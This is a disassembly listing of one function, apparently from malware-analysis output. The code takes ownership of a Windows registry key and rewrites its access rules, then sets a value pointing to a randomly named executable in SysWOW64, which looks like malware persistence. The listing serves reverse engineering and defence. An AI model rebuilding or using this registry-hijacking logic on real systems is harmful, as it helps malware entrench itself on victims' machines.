Function at 0xd97a95
Capabilities:
Compare security identifiers
Get session user name
Get user security identifier
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x600
push ebx
lea eax, [ebp - 0x18]
push eax
sub ebx, ebx
push 0xe0100
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x1c], ebx
push dword [ebp + 8]
mov dword [ebp - 8], ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
je 0xd97acb
xor eax, eax
jmp 0xd97db4
push esi
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x180]
mov esi, 0x80
push eax
mov dword [ebp - 0x24], esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
or eax, eax
je 0xd97da7
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x180]
push eax
push ebx
mov dword [ebp - 0x20], 0x44
mov dword [ebp - 0x28], esi
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
je 0xd97da7
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x600]
push eax
push 5
push dword [ebp - 0x18]
mov dword [ebp - 0x2c], 0x400
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
test eax, eax
jne 0xd97da7
push edi
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x600]
push eax
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorOwner]
test eax, eax
je 0xd97bb8
push dword [ebp - 0xc]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0xd97bb8
xor edi, edi
push 0x14
inc edi
push 0x40
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
cmp esi, ebx
je 0xd97bb8
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
or eax, eax
je 0xd97bb1
push ebx
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
test eax, eax
je 0xd97bb1
push esi
push edi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x600]
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorDacl]
or eax, eax
je 0xd97da6
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
je 0xd97da6
xor ecx, ecx
xor edi, edi
mov dword [ebp - 4], ebx
cmp cx, word [eax + 4]
jae 0xd97da6
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_GetAce]
test eax, eax
je 0xd97cc6
mov eax, dword [ebp - 0x10]
add eax, 8
xor esi, esi
mov dword [ebp - 0xc], eax
cmp edi, ebx
jle 0xd97c4f
push dword [ebp - 0xc]
push dword [ebp + esi*4 - 0x100]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
or eax, eax
jne 0xd97c36
inc esi
cmp esi, edi
jl 0xd97c1d
cmp esi, edi
jge 0xd97c4f
push dword [ebp - 4]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_DeleteAce]
mov dword [ebp - 0x14], 1
jmp 0xd97cc9
cmp edi, 0x20
jge 0xd97c5f
mov eax, dword [ebp - 0xc]
mov dword [ebp + edi*4 - 0x100], eax
inc edi
push dword [ebp - 0xc]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov ecx, dword [ebp - 0x10]
or eax, eax
je 0xd97c86
mov eax, dword [ebp + 0x10]
neg eax
sbb eax, eax
and eax, 0x10006
add eax, 0xe0039
jmp 0xd97c8b
mov eax, 0x20000
cmp dword [ecx + 4], eax
je 0xd97c9d
mov dword [ecx + 4], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], 1
cmp byte [ecx], bl
jne 0xd97ca7
test byte [ecx + 1], 0x10
je 0xd97cc6
mov byte [ecx], bl
mov eax, dword [ebp - 0xc]
cmp dword [eax + 8], ebx
mov ecx, dword [ebp - 0x10]
sete al
mov dword [ebp - 0x14], 1
lea eax, [eax*8 + 2]
mov byte [ecx + 1], al
inc dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
movzx ecx, word [eax + 4]
cmp dword [ebp - 4], ecx
jb 0xd97bf8
cmp dword [ebp - 0x14], ebx
je 0xd97da6
cmp byte [str.C:WINDOWSSysWOW64zlimcunomhhokwme.exe], bl
je 0xd97d5a
cmp dword [0xda2cc0], ebx
je 0xd97d5a
lea eax, [ebp - 8]
push eax
push 0x103
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 8], ebx
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0xd97d5a
mov ecx, str.C:WINDOWSSysWOW64zlimcunomhhokwme.exe
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0xd97d19
sub eax, esi
inc eax
push eax
push ecx
push 2
push ebx
push 0xc8
push 0xe4
push 0xa
push 0xda06dc
push 0xda22f8
call fcn.00d92544
add esp, 0x14
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
or eax, eax
jne 0xd97d5a
mov dword [0xda2cc0], ebx
xor edi, edi
push 0x14
inc edi
push 0x40
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
pop esi
cmp esi, ebx
je 0xd97da6
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0xd97d9f
push ebx
push dword [ebp - 0x1c]
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
or eax, eax
je 0xd97d9f
push esi
push 4
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
or eax, eax
jne 0xd97d9f
mov dword [ebp - 8], edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret